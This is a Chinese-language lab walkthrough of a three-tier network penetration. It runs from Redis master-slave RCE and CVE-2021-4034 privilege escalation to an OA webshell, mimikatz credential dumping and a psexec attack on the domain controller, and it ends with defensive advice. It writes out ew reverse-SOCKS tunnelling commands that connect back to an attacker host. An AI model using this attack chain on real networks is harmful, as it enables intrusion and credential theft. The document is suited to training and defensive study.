三层网络环境下的域渗透实战教学

网络拓扑与环境说明

网络结构

• DMZ区域：

  • Ubuntu1服务器：配置双网卡
    • 网卡1：桥接模式（对外提供服务）
    • 网卡2：连接VMnet8（连通第二层网络）

• 第二层网络区域：

  • Ubuntu2和Windows7：均配置双网卡
    • 网卡1：连接VMnet8（连通第二层网络）
    • 网卡2：连接VMnet14（连通第三层网络）

• 第三层网络区域：

  • Windows Server 2012和Windows7：单网卡
    • 网卡1：连接VMnet14（连通第三层网络）

外网Web渗透阶段

1. 资产发现与扫描

使用Kscan资产收集工具扫描发现：

• 开放服务：Nginx、SSH、Redis
• Redis服务存在未授权访问漏洞

2. Redis漏洞利用

Redis未授权访问的几种利用方式：

1. 写入Webshell
2. 计划任务反弹shell（CentOS适用）
3. 写入SSH公钥
4. 主从复制RCE

选择主从复制RCE利用：

• 工具：redis-rogue-server (https://github.com/n0b0dyCN/redis-rogue-server)
• 成功获取初始shell

3. 建立持久化会话

1. 使用MSF生成Linux木马
2. Python开启HTTP服务托管木马
3. MSF设置监听
4. 目标Ubuntu1执行木马，获得Meterpreter会话

4. 权限提升

1. 上传Linux提权辅助脚本：
   • 工具：linux-exploit-suggester (https://github.com/mzet-/linux-exploit-suggester)
2. 检测到CVE-2021-4034漏洞
3. 利用该漏洞成功获取root权限
4. 生成root权限的Linux木马，建立root用户的Meterpreter会话

内网渗透（横向移动）

1. 网络发现

• 发现目标主机存在两个网卡
• 使用MSF添加路由：route add 192.168.52.0 255.255.255.0 [session_id]

2. 内网扫描

使用Fscan扫描第二网卡网段(192.168.52.0/24)发现：

• 192.168.52.30：通达OA系统
• 存在MS17-010漏洞

3. 代理建立

使用ew建立反向socks5代理：

• 攻击机设置：

  ew_for_Win.exe -s rcsocks -l 1080 -e 1234
  

• DMZ区Ubuntu1：

  ew_for_linux64 -s rssocks -d 192.168.137.49 -e 1234
  

• 配置Proxifier使用攻击机的1080端口访问内网

4. 通达OA利用

1. 查看通达OA版本
2. 使用通达OA综合利用工具检测漏洞
3. 使用蚁剑连接Webshell

域内渗透

1. 信息收集

• 本机信息：system权限
• 路由信息：ipconfig /all显示两个网段(52.0/24和93.0/24)
• 发现域：whoamianony.org
• 域控：192.168.93.30
• 当前主机名：pc1

2. 上线Cobalt Strike

• 直接执行命令上线CS
• 使用mimikatz导出凭据：
  • 域管密码
  • bunny域用户密码

3. 域信息收集

• 获取所有域用户列表
• 获取域管账户信息
• 确认域控信息

4. 端口扫描

使用CS自带的端口扫描对93网段探测：

• 确认192.168.93.30为域控

5. 域控攻击

使用SMB beacon进行psexec攻击域控，完成三层网络渗透

关键工具总结

1. 扫描工具：

   • Kscan：外网资产发现
   • Fscan：内网资产扫描

2. 漏洞利用工具：

   • redis-rogue-server：Redis主从复制RCE
   • linux-exploit-suggester：Linux提权检测
   • 通达OA综合利用工具

3. 代理工具：

   • ew：内网代理建立

4. 后渗透工具：

   • Metasploit Framework
   • Cobalt Strike
   • mimikatz

5. Webshell管理：

   • 蚁剑

技术要点总结

1. Redis未授权访问的多种利用方式选择
2. Linux提权的检测与利用流程
3. 多层网络环境下的路由添加与代理建立
4. 域环境渗透的标准流程：
   • 信息收集
   • 凭据获取
   • 横向移动
   • 域控攻击
5. 工具链的组合使用：从外网到内网再到域控的完整攻击路径

防御建议

1. Redis服务：

   • 设置密码认证
   • 限制绑定IP
   • 禁用高危命令

2. Linux系统：

   • 及时更新补丁
   • 限制sudo权限
   • 监控异常进程

3. 域环境：

   • 实施最小权限原则
   • 启用LSA保护
   • 监控异常登录行为
   • 定期更换高权限账户密码

4. 网络架构：

   • 严格划分网络区域
   • 实施适当的ACL规则
   • 监控跨网段流量

5. OA系统：

   • 及时更新补丁
   • 禁用不必要的功能
   • 实施WAF防护